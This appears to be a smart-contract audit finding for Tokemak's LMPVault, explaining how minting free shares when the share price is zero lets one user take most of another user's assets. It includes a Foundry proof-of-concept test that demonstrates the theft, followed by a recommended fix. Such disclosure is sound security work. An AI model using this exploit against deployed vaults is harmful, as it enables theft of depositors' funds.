Curved Mahogany Duck

high

# Malicious user can out run other users, resulting in a fund loss
## Summary
malicious user can abuse `mint` function in `LMPVault.sol`, resulting in a fund loss to users.
## Vulnerability Detail
In LMPVAULT the function `mint` allows user to mint as many shares as they intend without depositing any asset(given then price of a share drops to 0), this creates a vulnerability where one malicious user can steal others assets.
consider a scenario where two users(1,2) deposit assets into a vault which are then deployed into a dest vault where UL=asset ie, price of asset and underlying token are in 1:1 ratio, as the price of the underlying asset drops to 0, user1 mints shares from using  `LMPVault.mint()` 
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L382
which states that : *As opposed to {deposit}, minting is allowed even if the vault is in a state where the price of a share is zero.
     In this case, the shares will be minted without requiring any assets to be deposited.*
max amount of shares an user can deposit is dependent up on `walletLimit` which is uint256.max by default if not set, if it is so user1 can mint `tsLimit - (total shares)` number of shares, which will block user2 or other users(if any) from minting new shares
https://github.com/sherlock-audit/2023-06-tokemak/blob/5d8e902ce33981a6506b1b5fb979a084602c6c9a/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L921
or even if the shares are limited user1 can mint all remaining shares available and stay on upperhand.
as both users wait for the price of UL to rise since they don't want to withdraw shares that are worth 0.
as soon as the price raises to some value which might be more or less than initial value, users try to redeem their shares which results in a huge loss for user2 since his shares worth less amount of assets
## Impact
direct loss of user funds
## Code Snippet
The coded POC represents how a malicious user abuses `LMPVault.mint()` vuln
Its performed on a LMPVault with 2 destination vaults(as many tests are written already in this format, its a copy most of the part)
it might be a rare case where 2 underlying token's prices drop to 0  but this attack still stands for LMPVaults with just one destination vault too.
paste this in LMPVault-Withdraw.t.sol and run `forge test --match-test "test_OutRunningOtherUser()" -vv`
```solidity
         function test_OutRunningOtherUser() public {
        _accessController.grantRole(Roles.LMP_FEE_SETTER_ROLE, address(this));
        FlashRebalancer rebalancer = new FlashRebalancer();

        // Going to work with two users for this one to test partial ownership
        // Both users get 1000 asset initially
        address user1 = vm.addr(238_904);
        vm.label(user1, "user1");
        _asset.mint(user1, 1000);

        address user2 = vm.addr(89_576);
        vm.label(user2, "user2");
        _asset.mint(user2, 1000);

        // User 1 will deposit 500 and user 2 will deposit 250
        vm.startPrank(user1);
        _asset.approve(address(_lmpVault), 500);
        _lmpVault.deposit(500, user1);
        vm.stopPrank();

        vm.startPrank(user2);
        _asset.approve(address(_lmpVault), 250);
        _lmpVault.deposit(250, user2);
        vm.stopPrank();

        // Check our initial state before rebalance
        // Everything should be in idle with no other token balances
        assertEq(_underlyerOne.balanceOf(address(_destVaultOne)), 0);
        assertEq(_destVaultOne.balanceOf(address(_lmpVault)), 0);
        assertEq(_underlyerTwo.balanceOf(address(_destVaultTwo)), 0);
        assertEq(_destVaultTwo.balanceOf(address(_lmpVault)), 0);
        assertEq(_lmpVault.totalIdle(), 750);
        assertEq(_lmpVault.totalDebt(), 0);

        // Going to perform multiple rebalances. 400 asset to DV1 350 to DV2.
        // So that'll be 200 Underlyer 1 (U1) and 250 Underlyer 2 (U2) back (U1 is 2:1 price)
        address solver = vm.addr(34_343);
        _accessController.grantRole(Roles.SOLVER_ROLE, solver);
        vm.label(solver, "solver");
        _underlyerOne.mint(solver, 200);
        _underlyerTwo.mint(solver, 350);

        vm.startPrank(solver);
        _underlyerOne.approve(address(_lmpVault), 200);
        _underlyerTwo.approve(address(_lmpVault), 350);

        _lmpVault.rebalance(
            address(_destVaultOne),
            address(_underlyerOne), // tokenIn
            200, // Price is 2:1 for DV1 underlyer
            address(0), // destinationOut, none when sending out baseAsset
            address(_asset), // baseAsset, tokenOut
            400
        );
        _lmpVault.rebalance(
            address(_destVaultTwo),
            address(_underlyerTwo), // tokenIn
            350, // Price is 1:1 for DV2 underlyer
            address(0), // destinationOut, none when sending out baseAsset
            address(_asset), // baseAsset, tokenOut
            350
        );
        vm.stopPrank();

        // So at this point, DV1 should have 200 U1, with LMP having 200 DV1
        // DV2 should have 350 U2, with LMP having 350 DV2
        // We also rebalanced all our idle so it's at 0 with everything moved to debt

        assertEq(_underlyerOne.balanceOf(address(_destVaultOne)), 200);
        assertEq(_destVaultOne.balanceOf(address(_lmpVault)), 200);
        assertEq(_underlyerTwo.balanceOf(address(_destVaultTwo)), 350);
        assertEq(_destVaultTwo.balanceOf(address(_lmpVault)), 350);
        assertEq(_lmpVault.totalIdle(), 0);
        assertEq(_lmpVault.totalDebt(), 750);

        // after rebalance assume if the price of the tokens become 0 

        _mockRootPrice(address(_underlyerTwo), 0);
        _mockRootPrice(address(_underlyerOne), 0);
        _lmpVault.updateDebtReporting(_destinations);
        assertEq(_lmpVault.totalDebt(), 0);
        assertEq(_lmpVault.totalIdle(), 0);
        //since lmpVault.mint requires no asset to mint extra shares when the price of share price is 0
        //taking this as an advantage user1 mints max amount of shares

        // max amount of shares depents upon the walletLimit from lmpVault.sol 
        //its by default uint256.max unless its set to other value 
        // in this poc user1 mints up to 15k shares without depositting any asset.
        //since 
        vm.startPrank(user1);
        _lmpVault.mint(15000, user1);
        vm.stopPrank();
        assertEq(_lmpVault.balanceOf(user1), 15500); //thats 500 initial shares + 15000 shares
        assertEq(_lmpVault.balanceOf(user2), 250); //unchanged shares ie, 250

       //both users wait for the price of UL to rise since they dont want to withdwraw
       // shares that are worth 0.

        _mockRootPrice(address(_underlyerOne), 2e18);
        _mockRootPrice(address(_underlyerTwo), 1e18);
        _lmpVault.updateDebtReporting(_destinations); 
       //as soon as the price of the token has increased got back to initial price
        vm.prank(user1);
        uint256 user1Assets = _lmpVault.redeem(15500, vm.addr(4847), user1);
        vm.prank(user2);
        uint256 user2Assets = _lmpVault.redeem(250, vm.addr(5847), user2);
        //out of the 750 total asset value user1 got to redeem 98.4% of it since he minted extra shares
        //original asset values of shares should be user1-500 user2-250
        assertEq(user1Assets, 738);
        assertEq(user2Assets, 12);
       assertEq(_lmpVault.totalDebt(), 0); // this is just to prove all the assets have been 
       assertEq(_lmpVault.totalIdle(), 0); //claimed and there are none remaining
    }
```
## Tool used
Manual Review
## Recommendation
disallow users to mint free shares even though a share is worth no value.
even if the mint functionality is publically known, it creates a race condition where the first user to mint max shares gets more profit.